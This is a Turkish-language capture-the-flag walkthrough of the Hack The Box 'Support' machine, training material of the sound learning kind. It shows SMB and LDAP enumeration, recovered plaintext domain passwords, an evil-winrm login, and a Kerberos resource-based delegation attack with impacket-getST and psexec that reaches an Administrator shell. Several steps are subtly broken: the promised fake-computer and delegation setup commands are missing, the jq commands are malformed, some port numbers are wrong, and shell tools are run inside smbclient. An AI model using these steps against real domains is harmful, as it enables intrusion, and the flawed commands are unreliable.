

HTB SUPPORT

Herkese merhaba!!! Bugün HACKTHEBOX' dan support makinesini çözeceğiz.

Öncelikle nmap taraması atıyor ve açık portları görüyorum.

```
root@kali:~# nmap 10.129.230.181
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-11 13:57 +03
Nmap scan report for support.htb (10.129.230.181)
Host is up (0.15s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
6268/tcp  open  globalcatLDAP
6269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
Nmap done: 1 IP address (1 host up) scanned in 8.29 seconds
```

Burada ldap gibi çoğu portun açık olduğunu görüyoruz. 445 portu da açık. Yani buranın bir active directory ortamı olduğunu anlıyoruz.

O yüzden bir smb enumeration deniyoruz.

```
root@kali:~# smbclient -L //10.129.230.181 -N

Sharename      Type            Comment
-----
ADMIN$         Disk            Remote Admin
C$             Disk            Default share
IPC$           IPC             Remote IPC
NETLOGON       Disk            Logon server share
support-tools  Disk            support staff tools
SYSVOL         Disk            Logon server share

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.230.181 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Support tools u açmalıyız.

```
root@kali:~# smbclient //10.129.230.181/support-tools -N
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0   Wed Jul 20 20:01:06 2022
..               D          0   Sat May 28 14:18:25 2022
7-ZipPortable_21.07.paf.exe  A 2880728  Sat May 28 14:19:19 2022
npp.8.4.1.portable.x64.zip  A 5439245  Sat May 28 14:19:55 2022
putty.exe         A 1273576  Sat May 28 14:20:06 2022
SysinternalsSuite.zip  A 48102161 Sat May 28 14:19:31 2022
UserInfo.exe.zip    A 277499  Wed Jul 20 20:01:07 2022
windirstat1.1.2_setup.exe  A 79171  Sat May 28 14:20:17 2022
WiresharkPortable64_3.6.5.paf.exe  A 44398800 Sat May 28 14:19:43 2022

4026367 blocks of size 4096. 959580 blocks available
smb: \> strings UserInfo.exe | less
strings: command not found
smb: \> strings UserInfo.exe | grep -i pass
strings: command not found
smb: \> monodis UserInfo.exe | less
monodis: command not found
smb: \> grep -a -i pass UserInfo.exe
grep: command not found
smb: \> unzip UserInfo.exe.zip
unzip: command not found
smb: \>
```

Buradaki dosyalardan ldap password çıkarıyoruz ve o password ile evil winrm ye sızıyoruz.

```
(root@kali)~# /home/mehmet/Masaüstü
-# ldapsearch -x -LLL -H ldap://10.129.230.181 -D 'CN=ldap,CN=Users,DC=support,DC=htb' -w 'nvEfEK16^1aM4$e7Acluf8x$tRWxPWO1%lmz' -b
'dc=support,dc=htb' '(sAMAccountName=support)'
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
st: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID:: CqM5MfoxMEWepIBTs5an8Q=
userAccountControl: 66048
badPwdCount: 4
```

```
(root@kali)~# /home/mehmet/Masaüstü
-# evil-winrm -i 10.129.230.181 -u support -p 'Ironside47pleasure40Watchful'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
Evil-WinRM> PS C:\Users\support\Documents> ls
Evil-WinRM> PS C:\Users\support\Documents> whoami
support\support
Evil-WinRM> PS C:\Users\support\Documents> cd C:\Users\support\Desktop
Evil-WinRM> PS C:\Users\support\Desktop> dir

    Directory: C:\Users\support\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar-----         4/11/2026   3:54 AM           34 user.txt

Evil-WinRM> PS C:\Users\support\Desktop> cat user.txt
765722bc9ea80ebac703a49a14d7c71b
Evil-WinRM> PS C:\Users\support\Desktop> 
```

Burada ilk foothold umuzu almış oluyoruz ve direk usr.txt yi çekiyoruz.

Sonrasında Shell dışında önce jq ile önce grup sonra kullanıcı analizen son da acl incelemesi yaparak support kullanıcısının dolaylı olarak Domain Controller üzerinde tam kontrole sahip olduğunu anladık ekran görüntülerine dikkat ederek bunu anlayabilirsiniz. !!!genericalll

```

(root@kali) ~/home/mehmet/Masaüstü/bhdata
# jq '.data[]' | select(.ObjectIdentifier=="S-1-5-21-1677581083-3380853377-188903654-1103") | .Properties.name' 20260411043413_grou
ps.json
"SHARED SUPPORT ACCOUNTS@SUPPORT.HTB"

(root@kali) ~/home/mehmet/Masaüstü/bhdata
# jq '.data[]' | select(.Properties.name=="SUPPORT@SUPPORT.HTB")' 20260411043413_users.json
{
  "Properties": {
    "domain": "SUPPORT.HTB",
    "name": "SUPPORT@SUPPORT.HTB",
    "distinguishedname": "CN=SUPPORT,CN=USERS,DC=SUPPORT,DC=HTB",
    "domainsid": "S-1-5-21-1677581083-3380853377-188903654",
    "highvalue": false,
    "samaccountname": "support",
    "description": null,
    "whencreated": 1653711120,
    "sensitive": false,
    "dntreqpreauth": false,
    "passwordnotreqd": false,
    "unconstraineddelegation": false,
    "pwdneverexpires": true,
    "enabled": true,
    "trustedtoauth": false,
    "lastlogon": 1775906944,
    "lastlogontimestamp": 1775906944,
    "pwdlastset": 1653736320,
    "serviceprincipalnames": [],
    "hasspn": false,
    "displayname": null,

```

```

root@kali.../Masaüstü root@kali.../Masaüstü root@kali.../Masaüstü/bhdata root@kali.../Masaüstü root@kali.../Masaüstü
"userpassword": null,
"unixpassword": null,
"unicodepassword": null,
"sfupassword": null,
"logonscript": null,
"admincount": false,
"sidhistory": []
},
"AllowedToDelegate": [],
"PrimaryGroupSID": "S-1-5-21-1677581083-3380853377-188903654-513",
"HasSIDHistory": [],
"SPNTargets": [],
"Aces": [
  {
    "PrincipalSID": "S-1-5-21-1677581083-3380853377-188903654-512",
    "PrincipalType": "Group",
    "RightName": "Owns",
    "IsInherited": false
  },
  {
    "PrincipalSID": "SUPPORT.HTB-S-1-5-32-548",
    "PrincipalType": "Group",
    "RightName": "GenericAll",
    "IsInherited": false
  },
  {
    "PrincipalSID": "S-1-5-21-1677581083-3380853377-188903654-512",
    "PrincipalType": "Group",
    "RightName": "GenericAll",
    "IsInherited": false
  }
]

```

Bu yüzden de rbcd attack kullanacağız. Çünkü rbcd attack Microsoft Active Directory (AD) ortamlarında bir bilgisayar veya kullanıcı hesabının, başka bir hizmete erişmek için hedef kaynağın izniyle kimlik bürünme (impersonation) yapabilmesine olanak tanıyan bir Kerberos saldırı tekniğidir.

İlk adım bir fake computer oluşturacağız.

```
root@kali:~# impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.129.230.181 'support.htb/MEHMETPC$:Passw0rd!123'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

root@kali:~/home/mehmet/Masaüstü# export KRB5CCNAME=Administrator.ccache

root@kali:~/home/mehmet/Masaüstü# impacket-psexec -k -no-pass support.htb/Administrator@dc.support.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] [Errno 2] No such file or directory: 'Administrator.ccache'

root@kali:~/home/mehmet/Masaüstü# mv 'Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache' admin.ccache

root@kali:~/home/mehmet/Masaüstü# export KRB5CCNAME=admin.ccache

root@kali:~/home/mehmet/Masaüstü# impacket-psexec -k -no-pass support.htb/Administrator@dc.support.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc.support.htb.....
```

2. adım olarak admin ticket alıyoruz yani bizim fake pc admin gibi çalışacak.

3. adım ticket ı aktif ettik ve şifre olmadan içeriye girip root flagi çektik.

```
root@kali: /...met/Masaüstü  r...p  root@kali: /...met/Masaüstü  root@kali: /...met/Masaüstü
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file RzshFuwe.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service eeHK on dc.support.htb.....
[*] Starting service eeHK.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 955A-5C8B

Directory of C:\Users\Administrator\Desktop

05/28/2022  04:17 AM    <DIR>          .
05/28/2022  04:11 AM    <DIR>          ..
04/12/2026  06:53 AM                34 root.txt
               1 File(s)                34 bytes
               2 Dir(s)  3,976,871,936 bytes free

C:\Users\Administrator\Desktop> type root.txt
d9b046c838443e119adb58083e375a87
```